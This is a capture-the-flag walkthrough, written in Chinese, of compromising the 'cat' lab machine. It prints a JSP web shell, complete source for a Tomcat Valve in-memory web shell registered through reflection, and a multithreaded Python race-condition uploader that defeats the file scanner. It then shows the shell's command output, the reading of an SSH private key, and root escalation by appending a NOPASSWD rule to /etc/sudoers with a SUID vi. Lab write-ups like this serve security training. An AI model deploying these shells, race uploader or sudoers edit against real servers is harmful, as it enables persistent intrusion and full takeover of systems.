

| cat_daochunhan

| cat

| 靶机信息

- 靶机名称: cat
- 靶机作者: 111
- 靶机类型: Linux
- 来源: MazeSec / QQ 公开群 321948805
- 官网: <https://maze-sec.com/>

| user

端口扫描:

```
nmap -p- -Pn --min-rate 2000 192.168.64.85
```

```
daochunhan@astra ~  
[ ] > nmap -p- -Pn --min-rate 2000 192.168.64.85  
Starting Nmap 7.99 ( https://nmap.org ) at 2026-09-29 07:47 -0400  
Nmap scan report for 192.168.64.85  
Host is up (0.00055s latency).  
Not shown: 65533 closed tcp ports (reset)  
PORT      STATE SERVICE  
22/tcp    open  ssh  
80/tcp    open  http  
MAC Address: 52:54:00:CA:29:09 (QEMU virtual NIC)  
  
Nmap done: 1 IP address (1 host up) scanned in 14.19 seconds
```

```
22/tcp open  ssh  
80/tcp open  http
```

80 端口是文件上传页面, 页面显示后端使用 OpenJDK 1.8、Tomcat 9.0 和 nginx。

运行时	OpenJDK 1.8
服务端	Apache Tomcat 9.0
反向代理	nginx 1.30.4
网络	隔离环境

页面源码注释：

```
69 <div class="spec-row"><dt>服务端</dt><dd>Apache Tomcat 9.0</dd></div>
70 <div class="spec-row"><dt>反向代理</dt><dd>nginx 1.30.4</dd></div>
71 <div class="spec-row"><dt>网络</dt><dd>隔离环境</dd></div>
72 <!-- 已启用文件系统防护，时刻查杀木马文件，守护主机安全。 -->
73 <!-- 文件层防护已就位，运行时防护待补充。 -->
74 </dl>
75 <form id="f">
76 <label class="drop" id="drop">
  <input type="file" id="file" required>
```

文件层防护已经启用，而运行时防护还未补充，可以考虑通过 JSP 在 Tomcat 运行时注册内存马。

先正常上传一个 `txt` 文件，可以上传成功；上传 `.jsp` 文件后会被删除。修改成 `.jsp.txt` 虽然可以保留，但 Tomcat 会把它当成普通文本，不能执行。

上传

OK:/uploads/t.txt (security scan: passed)

上传

OK:/uploads/c.jsp (security scan: removed)

```
← → ↻ ⚠ 不安全 192.168.64.85/uploads/c.jsp.txt

<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
Process p = Runtime.getRuntime().exec(
    new String[]{"bin/sh", "-c", cmd}
);
InputStream in = p.getInputStream();
int c;
while ((c = in.read()) != -1) {
    out.print((char)c);
}
%>
```

按条件竞争思路尝试并发上传和访问，观察是否能在文件被删除前让 Tomcat 处理 JSP。

Tomcat 会把请求交给 Pipeline 中的各个 Valve 依次处理，可以把 Valve 理解成请求处理链上的一个“阀门”。

利用这个机制，把命令执行逻辑动态挂进当前 Web 应用的处理链：自定义的 `V` 继承 `ValveBase`，在 `invoke()` 中处理 `c` 参数；通过反射从 `ServletContext` 获取当前应用的 `StandardContext`，调用 `addValve(new V())` 完成注册：

```
<%@ page
import="java.io.*,java.lang.reflect.*,javax.servlet.*,org.apache.catalin
a.core.StandardContext" %><%!
public static class V extends org.apache.catalina.valves.ValveBase {
    public void invoke(org.apache.catalina.connector.Request req,
org.apache.catalina.connector.Response resp)
        throws IOException, ServletException {
        String c = req.getParameter("c");
        if (c == null) { getNext().invoke(req, resp); return; }
        Process p = Runtime.getRuntime().exec(new String[]{"bin/sh", "-c",
c});
        InputStream in = p.getInputStream();
        byte[] b = new byte[1024]; int n;
        while ((n = in.read(b)) > 0) resp.getOutputStream().write(b, 0, n);
        resp.getOutputStream().flush();
        resp.finishResponse();
    }
}
%><%
ServletContext sc = getServletContext();
Field f = sc.getClass().getDeclaredField("context");
f.setAccessible(true);
Object ac = f.get(sc);
f = ac.getClass().getDeclaredField("context"); f.setAccessible(true);
```

```
StandardContext ctx = (StandardContext) f.get(ac);
ctx.getPipeline().addValve(new V());
out.print("ok");
%>
```

竞态命中会留下 JVM 内存中的 Valve 对象，因此即使 `x.jsp` 被删除，后续访问 `/?c=id` 仍然会经过这个 Valve

保存为 `shell.jsp`，使用竞态循环上传 `x.jsp`，并请求 `/uploads/x.jsp`：

```
#!/usr/bin/env python3
import http.client, sys, threading

HOST = sys.argv[1] if len(sys.argv) > 1 else "192.168.64.85"
NAME = "x.jsp"
TIMEOUT = int(sys.argv[2]) if len(sys.argv) > 2 else 120
BODY = open("shell.jsp", "rb").read()
done = threading.Event()

def upload():
    while not done.is_set():
        try:
            c = http.client.HTTPConnection(HOST, 80, timeout=5)
            c.request("POST", "/", BODY, {"X-File-Name": NAME})
            c.getresponse().read()
        except Exception:
            pass

def check():
    while not done.is_set():
        try:
            c = http.client.HTTPConnection(HOST, 80, timeout=5)
            while not done.is_set():
                c.request("GET", "/uploads/" + NAME)
                if b"ok" in c.getresponse().read():
                    print("[+] ok")
                    done.set()
                    return
        except Exception:
            pass

for _ in range(16): threading.Thread(target=upload, daemon=True).start()
for _ in range(40): threading.Thread(target=check, daemon=True).start()
```

```
if not done.wait(timeout=TIMEOUT):  
    print("[~] timeout")
```

执行:

```
python3 race.py 192.168.64.85 120
```

```
daochunhan@astra ~  
[> python3 race.py 192.168.64.85 120  
[+] ok  
[+] ok  
[+] ok  
daochunhan@astra ~
```

JSP 文件已经被查杀层删除, 但 Valve 还在 Tomcat 的 Pipeline 中, 访问:

```
http://192.168.64.85/?c=id
```

← → ↻ ⚠ 不安全 192.168.64.85/?c=id

```
uid=10001(tomcat) gid=10001(tomcat) groups=10001(tomcat)
```

获取 Tomcat 命令执行, 枚举容器内的文件:

```
ls -la /opt/ops  
cat /opt/ops/id_ed25519
```

← → ↻ ⚠ 不安全 192.168.64.85/?c=ls%20-la%20/opt/ops

```
total 12  
drwxr-xr-x 1 root  root  4096 Sep 29 10:24 .  
drwxr-xr-x 1 root  root  4096 Sep 29 10:24 ..  
-r----- 1 tomcat tomcat  411 Sep 27 08:02 id_ed25519
```


其中有一个文件名最后带空格。 `/usr/bin/vi` 本身只是指向 BusyBox 的普通软链接，真正的 SUID 文件是 `/usr/bin/vi` ：

```
ls -l /usr/bin/vi
ls -l '/usr/bin/vi '
```

```
daochunhan@cat:~$ find / -xdev -perm -4000 -type f 2>/dev/null
/bin/mount
/bin/bbsuid
/bin/busybox
/bin/umount
/var/tmp/mv
/var/tmp/tac
/var/tmp/ln
/var/tmp/sh
/var/tmp/chmod
/var/tmp/cat
/var/tmp/vi
/var/tmp/grep
/var/tmp/chown
/usr/bin/chsh
/usr/bin/expiry
/usr/bin/passwd
/usr/bin/vi
/usr/bin/gpasswd
/usr/bin/chage
/usr/bin/sudo
/usr/bin/chfn
daochunhan@cat:~$ ls -l /usr/bin/vi
lrwxrwxrwx 1 root root 12 Jul 27 23:25 /usr/bin/vi -> /bin/busybox
daochunhan@cat:~$ ls -l '/usr/bin/vi '
-rwsr-sr-x 1 root root 3449352 Sep 27 20:35 /usr/bin/vi
daochunhan@cat:~$
```

使用带空格文件名的 SUID Vim 打开 `/etc/sudoers`，在文件末尾加入 `ALL ALL=(ALL:ALL) NOPASSWD: ALL`：

```
cd /etc
'vi ' sudoers
```

```
# %wheel ALL=(ALL:ALL) NOPASSWD: ALL

## Uncomment to allow members of group sudo to execute any command
# %sudo ALL=(ALL:ALL) ALL

## Uncomment to allow any user to run sudo if they know the password
## of the user they are running the command as (root by default).
# Defaults targetpw # Ask for the password of the target user
# ALL ALL=(ALL:ALL) ALL # WARNING: only use this together with 'Defaults targetpw'

## Read drop-in files from /etc/sudoers.d
@includedir /etc/sudoers.d
ALL ALL=(ALL:ALL) NOPASSWD: ALL
~
~
~
```

```
sudo -i
```

```
daochunhan@cat:/etc$ 'vi ' sudoers
daochunhan@cat:/etc$ sudo -i
[root@cat:~# id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
[root@cat:~# cat /root/root.txt
flag{root-26cfc55019b764229d2fe76c6300bdcf}
[root@cat:~#
```

Reference : [su18 Tomcat Valve 内存马](#)